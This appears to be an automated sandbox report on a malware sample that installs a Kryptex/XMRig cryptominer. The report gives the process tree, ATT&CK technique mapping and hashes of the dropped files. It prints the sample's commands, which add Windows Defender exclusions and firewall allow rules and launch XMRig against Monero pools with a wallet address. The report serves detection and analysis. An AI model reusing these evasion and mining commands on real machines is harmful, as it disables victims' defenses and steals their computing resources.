  "C:\ProgramData\Launcher\LauncherW2.exe" --watch
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4740
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:5016
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:4280
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:3924
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:5080
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:4552
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:1292
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:1032
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:2940
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:3104
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:4596
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:768
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:2564
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:3428
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:1372
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:944
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:3408
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:3776
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:3620
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:2412
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:4532
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:3168
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:4124
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:1772
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:2588
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:3772
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:4252
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:636
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:3276
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:4596
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:1208
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:4756
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:4984
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:1224
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:1452
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:3408
- - C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe"
    3⤵
    PID:764
- C:\ProgramData\Launcher\KryptexService.exe
  "C:\ProgramData\Launcher\KryptexService.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4936
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall show rule "name=Kryptex Service"
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2764
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule "name=Kryptex Service" dir=in action=Allow program=C:\ProgramData\Launcher\KryptexService.exe enable=yes
    3⤵
    - Modifies Windows Firewall
    PID:1568
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Launcher'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4676
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Launcher\miners'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3764
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall show rule name=xmrig
    3⤵
    - Modifies Windows Firewall
    PID:2300
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name=xmrig dir=in action=Allow program=C:\ProgramData\Launcher\miners\xmrig\v6.26.0\kryptex_xmrig.exe enable=yes
    3⤵
    - Modifies Windows Firewall
    PID:2648
- - C:\ProgramData\Launcher\miners\xmrig\v6.26.0\kryptex_xmrig.exe
    miners\xmrig\v6.26.0\kryptex_xmrig.exe --coin XMR --url stratum+tcp://xmr-eu.kryptex.network:7029 --user 86nZuEoK9G2YCBPQKupf4dTVT6AiVnfSaiRPm9xAbj6SL3wbSdR6wWwDhV59W1RULyRQXQARiv9Z2jMKCTye6TcLLURm5LG/v23582b4ae --pass x --url stratum+tcp://xmr-us.kryptex.network:7029 --user 86nZuEoK9G2YCBPQKupf4dTVT6AiVnfSaiRPm9xAbj6SL3wbSdR6wWwDhV59W1RULyRQXQARiv9Z2jMKCTye6TcLLURm5LG/v23582b4ae --pass x --url stratum+tcp://xmr-ru.kryptex.network:7029 --user 86nZuEoK9G2YCBPQKupf4dTVT6AiVnfSaiRPm9xAbj6SL3wbSdR6wWwDhV59W1RULyRQXQARiv9Z2jMKCTye6TcLLURm5LG/v23582b4ae --pass x --url stratum+tcp://xmr-sg.kryptex.network:7029 --user 86nZuEoK9G2YCBPQKupf4dTVT6AiVnfSaiRPm9xAbj6SL3wbSdR6wWwDhV59W1RULyRQXQARiv9Z2jMKCTye6TcLLURm5LG/v23582b4ae --pass x --http-host 127.0.0.1 --http-port 12000 --log-file logs/2026-08-04T12-25-41.877Z_00-00-0_Intel-Core_xmr-randomx_xmrig_log.txt --keepalive --cpu-max-threads-hint 75
    3⤵
    PID:3508
- - C:\ProgramData\Launcher\console-util.exe
    C:\ProgramData\Launcher\console-util.exe title 3508 "xmrig v6.26.0 xmr-randomx"
    3⤵
    PID:3528
- - C:\ProgramData\Launcher\console-util.exe
    C:\ProgramData\Launcher\console-util.exe appusermodelid 3508 org.kryptex.kryptex
    3⤵
    PID:4208
- - C:\ProgramData\Launcher\console-util.exe
    C:\ProgramData\Launcher\console-util.exe noselect 3508
    3⤵
    PID:3592

C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
C:\Users\Admin\AppData\Local\Temp\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe
1⤵
PID:4636

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

KryptexService.exe

Path C:\ProgramData\Launcher\KryptexService.exe
Size 32.7MB
SHA256 147985f6351ec134a7436e89a9f310af2e978befa0016ad5c3973c8bc30e54ae
MD5 a65660dbf9f261c2d9106d5d204e4249
SHA1 ff104d8e833af2913b80d915fc18e46f4b1e2eaf
SHA512 a2e3a0afde98db9dc27a01c940ccb7c75f42af5c86cd53f292a15d36083fdb1d8a2bd02b36d0b584e173abec77fc28b79a02af7898c21cd2b2b3c9a382fa5a8d
SSDEEP 196608:73Ili+a+pmuH1fbEZnf6+7NiFBOt3zeWHai9aQK7fodoyEed80N8Mw9d:7Ye+ptMBiFBOZaC9zaouyEe/NfMd
TLSH
T16D774A53F85108E0D4EED630862A9253BF717C658B3123D76B64F7A42F7ABD0A67A304
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LauncherW1.exe

Path C:\ProgramData\Launcher\LauncherW1.exe
Size 49.4MB
SHA256 e08dd05cdaf1ba515f90c49570ba66cf7f0fbd40d0ab48044ecd4c8f500aadb0
MD5 43540381dc8b0fa7688c59465a8a6295
SHA1 eeb5196166e13aa8c4aa266b42e998a86b55ade1
SHA512 fcc7dd431f30485710215e0c87f76c94cbff5acb4cb2ccd8182e4a251d58d9f31849ad82f65088810dabe8175c7607a89e3650c9b24f6fbd5c2aff594c2fbc07
SSDEEP 786432:QYe+pJFC9zaouyEeNMhZl05Yt+kTVTL/xlFVaP:keZA6+kTVTL/xlF
TLSH
T16FB77C53F85144E0D4EAD134863AD65BBA717C658B3023C72B64FA642F7AFD0A67E308
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

console-util.exe

Path C:\ProgramData\Launcher\console-util.exe
Size 229KB
SHA256 f876b8d2347f0a3c7bb3c30f29ed74e76b25fa8aa0a2140b928d7bb4a6ec7334
MD5 afb5dbb468995437e3e0da6aeed2f164
SHA1 0a707f67f6811ab61833a02d50e350a169e3f817
SHA512 922330785cc25f16b71d45009326f55cf59ae32759f813142cf5b80834bd11d1248c9a30bf1c9395cfa245f05a99ebe4dffce0fb6ffe47f9d85761065fa6e808
SSDEEP 3072:4fbiDmJtgpNTTGmUUzq85jl7e6o3SgU+wdYs1E8rXdhF5e2peQ1:mEmJt+J95ziP3Soez5eQec
TLSH
T13D348E467BA410F5E9678538CC410906EAB3BC565BA1FACF03A04BB69F237D09E3D712
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kryptex.db

Path C:\ProgramData\Launcher\kryptex.db
Size 372KB
SHA256 ebe679899331000925c29e88ef988bc89d77fb96ee9d4fd4cf5aa56e5cb554ce
MD5 539a3ddb35fd44550d4f75adb1ae6e41
SHA1 417e3fc5a72e9c65f8c80be62050782353481436
SHA512 408f7d3552e41d7e70b992473cfcb8c79220ffe25efac54dc2c610b48feaf665efc5b1cd9d754d38511cc64c37134db156d17a9c4ed9449b985fbc5b22955681
SSDEEP 768:eysHibKgBFysHibKgkwXHtpYRNlsFCVogH:eysHi9ysHiglsFrgH
TLSH
T1C584F41E2D08FAA1C4FB723761F155D3A939229A87F05CD262F0DCF0AAD6DC1C1179A6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

main.path

Path C:\ProgramData\Launcher\main.path
Size 138B
SHA256 37e1721906114c998728457f3d9b5e50ce1875742c965ed1d376338f2dcaccd8
MD5 5b8009ea7c812640381aed3ae7e65563
SHA1 b334aa79a8da196d21973dfc86a7ffaada049f66
SHA512 dcf38f2f32ca144f439bb67eb662de45899b3ef8142402ad6e7c063843ba24148c86b07f54d200df5b837413e600713e036d736403bcb1ea090fdfbcd097e27b
TLSH
T1B1C02B048E5BCF90041AA24AA3901C0EC0F12C0A4B152333B730884E62A8847E2D4312
MD5 SHA1 SHA512 TLSH

Submit Download

kryptex_xmrig.exe

Path C:\ProgramData\Launcher\miners\xmrig\v6.26.0\kryptex_xmrig.exe
Size 6.2MB
SHA256 7f900c92233a5fdcc55db1cca0ed7829a5064eced3e9f7ecb033701712308d8a
MD5 229be00e1f179844aaa275a033cf6bdd
SHA1 631935a8cf408f40f95a1e1609fcd079e6985cf8
SHA512 9ee8a46fd4a722ce8f07004844646b2821a180691495aa8d998f244420439555a28d1e004a6e743207ad7e2c143af3c946c97b28c6552157d8af9f62fa7cb3cc
SSDEEP 98304:WbgDtqBRjgHYUUF/fjOIbYNUgeByYWitMQXfQzpoc3L4OZ3AMFBE107AVFHGQOBZ:Wu4Xjg4Wzp58OhAMFCCcFmTXCnhG
TLSH
T1C2569E26B7A400E8C87AC53CC6579607E7F2B8195370A7DB27B056AA1F336D45E3EB10
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

player.exe

Path C:\ProgramData\Launcher\player.exe
Size 15.2MB
SHA256 a4b333ac1da12026989549015303d82231982838bccfb544ba5fd188746066f0
MD5 08c13d0cc4ccdac79b38821e846a53b7
SHA1 7736efc1c76e6a80132a22e1f9fc87a5884fa375
SHA512 87e953e053e249a5c202ff4639aee6fa5915b0b86e69ad5eee76d9091545aa4d201a8477d1c2525db9d3ebb053476cfd9ef31a8c7b232a4dcf84c2dd86f35860
SSDEEP 393216:nZl05YflfxgkTVfdBL/tEJ1+lFj99e2xXX+QU9DrFkpBK:nZl05Yt+kTVTL/xlFVaPP
TLSH
T12EF69D23A60144B1C182217DCC3AEEAD617DAE15873415C753A47C1BAA72FC3AA3DB5F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-08-03_43540381dc8b0fa7688c59465a8a6295_cobalt-strike_coinminer_darkgate_dosia_glassworm_icedid_.exe.log
Size 660B
SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
MD5 1c5e1d0ff3381486370760b0f2eb656b
SHA1 f9df6be8804ef611063f1ff277e323b1215372de
SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
TLSH
T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 993d3f32343d257e089e83ca383bff11bf8ff41a01ead2e8ffddeceeff1039b8
MD5 4a7baa2b3c35d23eda09bdef4265fb47
SHA1 eda288e5c03a1b226ad16d487d71742ab2b94e35
SHA512 6a0d62d00857efc8333569fd3535bc89073213af4fe6c7ffc1d417299b6b377680e8114d80f09d679b12d452f2992a55ad0992f54cc21338b09459a53d654134
TLSH
T1CC112223F38C8920CC96163A509DAC5172B586DB81AEDF9F7FC0C210A5BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_tn2mcpua.4ag.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tn2mcpua.4ag.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3508-125-0x0000023D9E320000-0x0000023D9E340000-memory.dmp

Download

memory/4676-81-0x000001EFF95B0000-0x000001EFF95D2000-memory.dmp

Download

memory/4880-11-0x00000197D0550000-0x00000197D0560000-memory.dmp

Download

memory/4880-44-0x00000197D0550000-0x00000197D0560000-memory.dmp

Download

memory/4880-0-0x00000197B2E40000-0x00000197B5FA6000-memory.dmp

Download

memory/4936-67-0x00007FF7F90E0000-0x00007FF7FB1F9000-memory.dmp

Download

memory/4936-99-0x00007FF7F90E0000-0x00007FF7FB1F9000-memory.dmp

Download

memory/4936-115-0x00007FF7F90E0000-0x00007FF7FB1F9000-memory.dmp

Download

memory/4936-73-0x00007FF7F90E0000-0x00007FF7FB1F9000-memory.dmp

Download

memory/4936-120-0x00007FF7F90E0000-0x00007FF7FB1F9000-memory.dmp

Download

memory/4936-140-0x00007FF7F90E0000-0x00007FF7FB1F9000-memory.dmp

Download

memory/4936-147-0x00007FF7F90E0000-0x00007FF7FB1F9000-memory.dmp

Download

memory/4936-152-0x00007FF7F90E0000-0x00007FF7FB1F9000-memory.dmp

Download

memory/4936-158-0x00007FF7F90E0000-0x00007FF7FB1F9000-memory.dmp

Download

memory/4936-164-0x00007FF7F90E0000-0x00007FF7FB1F9000-memory.dmp

Download